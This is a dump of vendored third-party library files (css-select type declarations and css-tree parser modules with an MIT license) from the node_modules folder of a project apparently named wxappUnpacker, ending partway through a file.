/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/index.d.ts:
--------------------------------------------------------------------------------
1 | import type { CompiledQuery, InternalOptions, CompileToken } from "../types";
2 | import type { PseudoSelector } from "css-what";
3 | import { filters } from "./filters";
4 | import { pseudos } from "./pseudos";
5 | export { filters, pseudos };
6 | export declare function compilePseudoSelector(next: CompiledQuery, selector: PseudoSelector, options: InternalOptions, context: ElementNode[] | undefined, compileToken: CompileToken): CompiledQuery;
7 | //# sourceMappingURL=index.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/index.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/pseudo-selectors/index.ts"],"names":[],"mappings":"AAeA,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,YAAY,EAAE,MAAM,UAAU,CAAC;AAC7E,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAC/C,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,EAAE,OAAO,EAAoB,MAAM,WAAW,CAAC;AAGtD,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,CAAC;AAK5B,wBAAgB,qBAAqB,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAChE,IAAI,EAAE,aAAa,CAAC,WAAW,CAAC,EAChC,QAAQ,EAAE,cAAc,EACxB,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,EAAE,WAAW,EAAE,GAAG,SAAS,EAClC,YAAY,EAAE,YAAY,CAAC,IAAI,EAAE,WAAW,CAAC,GAC9C,aAAa,CAAC,WAAW,CAAC,CAwB5B"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/pseudos.d.ts:
--------------------------------------------------------------------------------
1 | import { PseudoSelector } from "css-what";
2 | import type { InternalOptions } from "../types";
3 | export declare type Pseudo = (elem: ElementNode, options: InternalOptions, subselect?: ElementNode | string | null) => boolean;
4 | export declare const pseudos: Record;
5 | export declare function verifyPseudoArgs(func: Pseudo, name: string, subselect: PseudoSelector["data"]): void;
6 | //# sourceMappingURL=pseudos.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/pseudos.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"pseudos.d.ts","sourceRoot":"","sources":["../../src/pseudo-selectors/pseudos.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAC1C,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,UAAU,CAAC;AAEhD,oBAAY,MAAM,GAAG,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAChD,IAAI,EAAE,WAAW,EACjB,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,SAAS,CAAC,EAAE,WAAW,GAAG,MAAM,GAAG,IAAI,KACtC,OAAO,CAAC;AAKb,eAAO,MAAM,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CA+L1C,CAAC;AAYF,wBAAgB,gBAAgB,CAC5B,IAAI,EAAE,MAAM,EACZ,IAAI,EAAE,MAAM,EACZ,SAAS,EAAE,cAAc,CAAC,MAAM,CAAC,GAClC,IAAI,CAYN"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/subselects.d.ts:
--------------------------------------------------------------------------------
1 | import { CompileToken } from "./../types";
2 | import type { Selector } from "css-what";
3 | import type { CompiledQuery, InternalOptions, Adapter } from "../types";
4 | /** Used as a placeholder for :has. Will be replaced with the actual element. */
5 | export declare const PLACEHOLDER_ELEMENT: {};
6 | export declare function ensureIsTag(next: CompiledQuery, adapter: Adapter): CompiledQuery;
7 | export declare type Subselect = (next: CompiledQuery, subselect: Selector[][], options: InternalOptions, context: ElementNode[] | undefined, compileToken: CompileToken) => CompiledQuery;
8 | export declare function getNextSiblings(elem: Node, adapter: Adapter): ElementNode[];
9 | export declare const subselects: Record;
10 | //# sourceMappingURL=subselects.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/subselects.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"subselects.d.ts","sourceRoot":"","sources":["../../src/pseudo-selectors/subselects.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,UAAU,CAAC;AAEzC,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,OAAO,EAAE,MAAM,UAAU,CAAC;AAGxE,gFAAgF;AAChF,eAAO,MAAM,mBAAmB,IAAK,CAAC;AAMtC,wBAAgB,WAAW,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EACtD,IAAI,EAAE,aAAa,CAAC,WAAW,CAAC,EAChC,OAAO,EAAE,OAAO,CAAC,IAAI,EAAE,WAAW,CAAC,GACpC,aAAa,CAAC,WAAW,CAAC,CAG5B;AAED,oBAAY,SAAS,GAAG,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EACnD,IAAI,EAAE,aAAa,CAAC,WAAW,CAAC,EAChC,SAAS,EAAE,QAAQ,EAAE,EAAE,EACvB,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,EAAE,WAAW,EAAE,GAAG,SAAS,EAClC,YAAY,EAAE,YAAY,CAAC,IAAI,EAAE,WAAW,CAAC,KAC5C,aAAa,CAAC,WAAW,CAAC,CAAC;AAEhC,wBAAgB,eAAe,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAC1D,IAAI,EAAE,IAAI,EACV,OAAO,EAAE,OAAO,CAAC,IAAI,EAAE,WAAW,CAAC,GACpC,WAAW,EAAE,CAMf;AAOD,eAAO,MAAM,UAAU,EAAE,MAAM,CAAC,MAAM,EAAE,SAAS,CAkGhD,CAAC"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/sort.d.ts:
--------------------------------------------------------------------------------
1 | import type { InternalSelector } from "./types";
2 | /**
3 | * Sort the parts of the passed selector,
4 | * as there is potential for optimization
5 | * (some types of selectors are faster than others)
6 | *
7 | * @param arr Selector to sort
8 | */
9 | export default function sortByProcedure(arr: InternalSelector[]): void;
10 | //# sourceMappingURL=sort.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/sort.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"sort.d.ts","sourceRoot":"","sources":["../src/sort.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,SAAS,CAAC;AAehD;;;;;;GAMG;AACH,MAAM,CAAC,OAAO,UAAU,eAAe,CAAC,GAAG,EAAE,gBAAgB,EAAE,GAAG,IAAI,CAerE"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/types.js:
--------------------------------------------------------------------------------
1 | "use strict";
2 | Object.defineProperty(exports, "__esModule", { value: true });
3 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (C) 2016-2019 by Roman Dvornov
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy
4 | of this software and associated documentation files (the "Software"), to deal
5 | in the Software without restriction, including without limitation the rights
6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 | copies of the Software, and to permit persons to whom the Software is
8 | furnished to do so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in
11 | all copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19 | THE SOFTWARE.
20 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/common/adopt-buffer.js:
--------------------------------------------------------------------------------
1 | var MIN_SIZE = 16 * 1024;
2 | var SafeUint32Array = typeof Uint32Array !== 'undefined' ? Uint32Array : Array; // fallback on Array when TypedArray is not supported
3 |
4 | module.exports = function adoptBuffer(buffer, size) {
5 | if (buffer === null || buffer.length < size) {
6 | return new SafeUint32Array(Math.max(size + 1024, MIN_SIZE));
7 | }
8 |
9 | return buffer;
10 | };
11 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/convertor/create.js:
--------------------------------------------------------------------------------
1 | var List = require('../common/List');
2 |
3 | module.exports = function createConvertors(walk) {
4 | return {
5 | fromPlainObject: function(ast) {
6 | walk(ast, {
7 | enter: function(node) {
8 | if (node.children && node.children instanceof List === false) {
9 | node.children = new List().fromArray(node.children);
10 | }
11 | }
12 | });
13 |
14 | return ast;
15 | },
16 | toPlainObject: function(ast) {
17 | walk(ast, {
18 | leave: function(node) {
19 | if (node.children && node.children instanceof List) {
20 | node.children = node.children.toArray();
21 | }
22 | }
23 | });
24 |
25 | return ast;
26 | }
27 | };
28 | };
29 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/convertor/index.js:
--------------------------------------------------------------------------------
1 | var createConvertor = require('./create');
2 |
3 | module.exports = createConvertor(require('../walker'));
4 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/definition-syntax/SyntaxError.js:
--------------------------------------------------------------------------------
1 | var createCustomError = require('../utils/createCustomError');
2 |
3 | module.exports = function SyntaxError(message, input, offset) {
4 | var error = createCustomError('SyntaxError', message);
5 |
6 | error.input = input;
7 | error.offset = offset;
8 | error.rawMessage = message;
9 | error.message = error.rawMessage + '\n' +
10 | ' ' + error.input + '\n' +
11 | '--' + new Array((error.offset || error.input.length) + 1).join('-') + '^';
12 |
13 | return error;
14 | };
15 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/definition-syntax/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | SyntaxError: require('./SyntaxError'),
3 | parse: require('./parse'),
4 | generate: require('./generate'),
5 | walk: require('./walk')
6 | };
7 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/generator/index.js:
--------------------------------------------------------------------------------
1 | var createGenerator = require('./create');
2 | var config = require('../syntax/config/parser');
3 |
4 | module.exports = createGenerator(config);
5 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/index.js:
--------------------------------------------------------------------------------
1 | module.exports = require('./syntax');
2 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/lexer/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | Lexer: require('./Lexer')
3 | };
4 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/parser/index.js:
--------------------------------------------------------------------------------
1 | var createParser = require('./create');
2 | var config = require('../syntax/config/parser');
3 |
4 | module.exports = createParser(config);
5 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/atrule/font-face.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | parse: {
3 | prelude: null,
4 | block: function() {
5 | return this.Block(true);
6 | }
7 | }
8 | };
9 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/atrule/import.js:
--------------------------------------------------------------------------------
1 | var TYPE = require('../../tokenizer').TYPE;
2 |
3 | var STRING = TYPE.String;
4 | var IDENT = TYPE.Ident;
5 | var URL = TYPE.Url;
6 | var FUNCTION = TYPE.Function;
7 | var LEFTPARENTHESIS = TYPE.LeftParenthesis;
8 |
9 | module.exports = {
10 | parse: {
11 | prelude: function() {
12 | var children = this.createList();
13 |
14 | this.scanner.skipSC();
15 |
16 | switch (this.scanner.tokenType) {
17 | case STRING:
18 | children.push(this.String());
19 | break;
20 |
21 | case URL:
22 | case FUNCTION:
23 | children.push(this.Url());
24 | break;
25 |
26 | default:
27 | this.error('String or url() is expected');
28 | }
29 |
30 | if (this.lookupNonWSType(0) === IDENT ||
31 | this.lookupNonWSType(0) === LEFTPARENTHESIS) {
32 | children.push(this.WhiteSpace());
33 | children.push(this.MediaQueryList());
34 | }
35 |
36 | return children;
37 | },
38 | block: null
39 | }
40 | };
41 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/atrule/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | 'font-face': require('./font-face'),
3 | 'import': require('./import'),
4 | 'media': require('./media'),
5 | 'page': require('./page'),
6 | 'supports': require('./supports')
7 | };
8 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/atrule/media.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | parse: {
3 | prelude: function() {
4 | return this.createSingleNodeList(
5 | this.MediaQueryList()
6 | );
7 | },
8 | block: function() {
9 | return this.Block(false);
10 | }
11 | }
12 | };
13 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/atrule/page.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | parse: {
3 | prelude: function() {
4 | return this.createSingleNodeList(
5 | this.SelectorList()
6 | );
7 | },
8 | block: function() {
9 | return this.Block(true);
10 | }
11 | }
12 | };
13 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/config/lexer.js:
--------------------------------------------------------------------------------
1 | var data = require('../../../data');
2 |
3 | module.exports = {
4 | generic: true,
5 | types: data.types,
6 | atrules: data.atrules,
7 | properties: data.properties,
8 | node: require('../node')
9 | };
10 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/config/parser.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | parseContext: {
3 | default: 'StyleSheet',
4 | stylesheet: 'StyleSheet',
5 | atrule: 'Atrule',
6 | atrulePrelude: function(options) {
7 | return this.AtrulePrelude(options.atrule ? String(options.atrule) : null);
8 | },
9 | mediaQueryList: 'MediaQueryList',
10 | mediaQuery: 'MediaQuery',
11 | rule: 'Rule',
12 | selectorList: 'SelectorList',
13 | selector: 'Selector',
14 | block: function() {
15 | return this.Block(true);
16 | },
17 | declarationList: 'DeclarationList',
18 | declaration: 'Declaration',
19 | value: 'Value'
20 | },
21 | scope: require('../scope'),
22 | atrule: require('../atrule'),
23 | pseudo: require('../pseudo'),
24 | node: require('../node')
25 | };
26 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/config/walker.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | node: require('../node')
3 | };
4 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/function/expression.js:
--------------------------------------------------------------------------------
1 | // legacy IE function
2 | // expression( )
3 | module.exports = function() {
4 | return this.createSingleNodeList(
5 | this.Raw(this.scanner.tokenIndex, null, false)
6 | );
7 | };
8 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/index.js:
--------------------------------------------------------------------------------
1 | function merge() {
2 | var dest = {};
3 |
4 | for (var i = 0; i < arguments.length; i++) {
5 | var src = arguments[i];
6 | for (var key in src) {
7 | dest[key] = src[key];
8 | }
9 | }
10 |
11 | return dest;
12 | }
13 |
14 | module.exports = require('./create').create(
15 | merge(
16 | require('./config/lexer'),
17 | require('./config/parser'),
18 | require('./config/walker')
19 | )
20 | );
21 | module.exports.version = require('../../package.json').version;
22 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/node/Brackets.js:
--------------------------------------------------------------------------------
1 | var TYPE = require('../../tokenizer').TYPE;
2 |
3 | var LEFTSQUAREBRACKET = TYPE.LeftSquareBracket;
4 | var RIGHTSQUAREBRACKET = TYPE.RightSquareBracket;
5 |
6 | module.exports = {
7 | name: 'Brackets',
8 | structure: {
9 | children: [[]]
10 | },
11 | parse: function(readSequence, recognizer) {
12 | var start = this.scanner.tokenStart;
13 | var children = null;
14 |
15 | this.eat(LEFTSQUAREBRACKET);
16 |
17 | children = readSequence.call(this, recognizer);
18 |
19 | if (!this.scanner.eof) {
20 | this.eat(RIGHTSQUAREBRACKET);
21 | }
22 |
23 | return {
24 | type: 'Brackets',
25 | loc: this.getLocation(start, this.scanner.tokenStart),
26 | children: children
27 | };
28 | },
29 | generate: function(node) {
30 | this.chunk('[');
31 | this.children(node);
32 | this.chunk(']');
33 | }
34 | };
35 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/node/CDC.js:
--------------------------------------------------------------------------------
1 | var CDC = require('../../tokenizer').TYPE.CDC;
2 |
3 | module.exports = {
4 | name: 'CDC',
5 | structure: [],
6 | parse: function() {
7 | var start = this.scanner.tokenStart;
8 |
9 | this.eat(CDC); // -->
10 |
11 | return {
12 | type: 'CDC',
13 | loc: this.getLocation(start, this.scanner.tokenStart)
14 | };
15 | },
16 | generate: function() {
17 | this.chunk('-->');
18 | }
19 | };
20 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-tree/lib/syntax/node/CDO.js:
--------------------------------------------------------------------------------
1 | var CDO = require('../../tokenizer').TYPE.CDO;
2 |
3 | module.exports = {
4 | name: 'CDO',
5 | structure: [],
6 | parse: function() {
7 | var start = this.scanner.tokenStart;
8 |
9 | this.eat(CDO); //